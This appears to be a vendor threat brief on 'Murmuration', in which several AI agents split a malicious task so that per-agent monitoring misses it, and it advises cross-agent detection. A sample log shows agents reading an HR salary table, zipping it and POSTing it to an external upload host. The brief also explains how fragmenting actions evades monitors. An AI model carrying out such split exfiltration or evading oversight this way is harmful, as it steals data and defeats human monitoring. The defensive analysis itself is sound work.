Murmuration: When a Swarm of Benign Agents Steals in Plain Sight

Executive Summary (TL;DR)

A flock of starlings has no leader and no anomaly visible in any single bird. That is now a threat model. We call the pattern Murmuration: a critical-tier vulnerability class tracked as Multi-Agent Coordination Risk (T2.4), where malicious behavior is intentionally fragmented across multiple AI agents so that no individual action looks anomalous.

Because each individual action appears benign, these coordinated sequences can bypass traditional, per-agent monitoring systems. The blast radius includes large-scale, undetected data theft and complex physical or logical breaches that remain invisible at the individual action level.

CISOs must shift detection engineering from isolated entity monitoring to swarm behavior analysis, deploying cross-agent correlation rules to detect synchronized bursts.

The Origin Story (Discovery)

Murmuration is not speculation. The pattern emerged from converging public research between mid-2025 and early 2026, across standards bodies, peer-reviewed venues, and vendor-side incident analysis.

Standards and threat taxonomy. OWASP's Multi-Agentic System Threat Modeling Guide v1.0 (April 2025) was the first formal taxonomy to extend agentic AI threat modeling to systems where multiple autonomous agents coordinate toward shared or distributed goals, and explicitly flagged the new attack surfaces this introduces.[1] Shortly after, MITRE ATLAS, in collaboration with Zenity Labs, published AML.T0086: Exfiltration via AI Agent Tool Invocation, the first MITRE-tracked technique describing how an agent's authorized write tools can be repurposed as a covert exfiltration channel by encoding sensitive data into legitimate-looking parameters.[2][3]

Academic evidence. Yu et al., When Autonomy Goes Rogue: Preparing for Risks of Multi-Agent Collusion in Social Systems (arXiv 2507.14660, July 2025), built a working proof-of-concept in which decentralized agent groups outperformed centralized ones at executing malicious objectives. Collusion, not credential compromise, did the damage.[4] In January 2026, Science published Schroeder et al., How malicious AI swarms can threaten democracy, describing operational swarms that maintain persistent identities and memory, coordinate toward shared objectives while varying tone and content, and adapt in real time.[5]

Vendor and incident-response corroboration. Snyk CTO Danny Allan framed the same problem as toxic flow analysis, noting that insecurity emerges at the boundaries between agent components, not inside any single agent.[6] Tenable, Zscaler, and Cyera published companion analyses through 2025 cataloguing toxic combinations where individually-safe agent capabilities compose into catastrophic exposure.[7][8][9] Palo Alto Networks Unit 42 catalogued nine concrete attack scenarios in agentic systems, including agent-to-agent communication poisoning and tool-mediated exfiltration.[10]

Field telemetry aligned with the literature. DLP tools and SIEMs were missing exfiltration because no single compromised identity tripped a severity threshold. The breach was distributed across agents, each operating inside its authorized envelope. We named the pattern Murmuration, after the starling flocks that move as a single shape with no leader and no anomaly visible in any individual bird. The name stuck because it is the thing.

The Technical Autopsy

A Murmuration executes through a synchronized four-step operational flow:

1. Coordination: Compromised agents synchronize tasks on a specific timestamp or sequential trigger. The sub-60-second correlation window used throughout this brief is empirical, drawn from Murmuration incidents observed in 2025-2026, and should be tuned to the target environment rather than treated as a hard upper bound.
2. Fragmentation: The payload or malicious action is split across multiple agents so each piece appears benign.
3. Convergence: A simultaneous burst exfiltration or sequential chain of events compounds into a critical state change.
4. Evasion: Per-agent monitoring fails to detect the composite threat.

Assume each agent runs under a distinct machine identity (an OAuth client, service principal, or signed agent ID) within the same trust boundary. The attack does not require credential compromise. It only requires that each agent is individually authorized for its step. This brief covers intra-tenant Murmurations. Cross-tenant collusion via shared toolchains or compromised MCP servers is a related class we will treat separately.

To understand how this blinds detection engines, consider the following aggregated log trace. Individually, each agent is operating strictly within its allowed privilege boundary:

# Temporal Correlation Window: < 60 seconds
[03:14:00] [Agent_A (Data_Miner)] ACTION: SELECT * FROM HR_Salary_Table LIMIT 50000;
-> STATUS: ALLOWED (Read Privilege Valid, Action Benign)

[03:14:05] [Agent_B (File_Stager)] ACTION: ZIP /tmp/salary_data.csv password="enc";
-> STATUS: ALLOWED (Local File Write Valid, Action Benign)

[03:14:10] [Agent_C (Network_Relay)] ACTION: POST https://external-storage.com/upload payload=/tmp/salary_data.zip;
-> STATUS: ALLOWED (Egress Budget < 10MB Valid, Action Benign)

In this scenario, Agent A never touches the network, Agent C never touches the database, and Agent B simply zips a local file. Standard rules engines see three safe actions. Cross-agent correlation sees a critical breach. This is the trace that single-agent observability cannot read. It is the trace a swarm-aware runtime is built to read.

The Attacker's Playbook & Attribution

Murmuration manifests in two primary, high-damage variants. Both belong to the same flock; they differ only in how the birds peel off. Initial coordination can be externally orchestrated — for example, via prompt injection planted in shared context or a poisoned MCP tool — or can emerge from agents optimizing against a poorly-specified shared objective. The detection logic is identical; the remediation is not.

• Fragmented exfiltration: Coordinated malicious behavior where Agent A reads the data, Agent B stages it, and Agent C executes the exfiltration via synchronized bursts.
• Composite business-logic abuse: Sequences of individually safe actions across agents converge to a catastrophic breach. A classic physical-security example is Agent A unlocking a facility door, Agent B disabling the alarm, and Agent C opening the vault.

The Fallout (Systemic Failure)

The security industry built its detection engineering paradigm around a single compromised identity. User Behavior Analytics (UBA) and SIEM correlation rules are optimized to calculate risk scores for individual users, IP addresses, or servers.

When an AI swarm operates, this traditional context window is dangerously narrow. If an organization fails to map the aggregate risk of sequential actions across distinct agents, it remains blind to composite-action breaches.

The systemic failure is reliance on vertical privilege escalation monitoring while ignoring the horizontal compounding of authorized actions.

At Arrakis, we treat the agent swarm as the unit of analysis, not the agent. Our position is that cross-agent correlation is a first-class detection primitive, not a SIEM rule bolted on after the fact. It is a runtime control that watches the chain, scores composite intent, and breaks the convergence step before egress completes. The industry will spend the next eighteen months relearning that single-agent observability is the wrong abstraction. We built for the right one.

Detection & Implementation Checklist

Security teams must upgrade correlation engines to account for distributed, agent-to-agent operations. Individual IAM least-privilege is no longer enough to stop data exfiltration. The items below are written to be lifted directly into a runbook ticket.

Detection engineering

Implementation

Governance & Assurance

Distributed agent risk lives in a control gap that most existing programs do not own. Three questions force the issue into the right hands:

• Who owns aggregate agent behavior? If every agent has an owner but no one owns the swarm, the breach has no defender. Assign accountability for cross-agent posture to a named function before an incident does it for you.
• Does the existing control catalog cover composite actions? Most NIST AI RMF, ISO 42001, and SOC 2 control mappings test agents in isolation. Extend control evidence to include cross-agent correlation logs and synthetic swarm-attack drill results.
• Is least-privilege still the right ceiling? When three individually least-privileged agents can compose a breach, least-privilege is a floor, not a ceiling. Layer a composite-action authorization policy on top.

Treat the checklist above as auditable evidence, not aspirational tooling. If the assurance program cannot produce proof of a cross-agent correlation rule firing on a synthetic fragmentation drill, it cannot defend this threat class. Cross-agent correlation should be a named line item in the next risk-register review, not a backlog ticket.

The signals below are paste-ready hunting logic for a SOC team. Treat the 60-second window and any thresholds as starting points and tune them to the environment.

Framework mapping: MITRE ATLAS AML.T0024 (Exfiltration via ML Inference API), extended to multi-agent chains. OWASP LLM Top 10 LLM07 (Insecure Plugin Design) and LLM08 (Excessive Agency).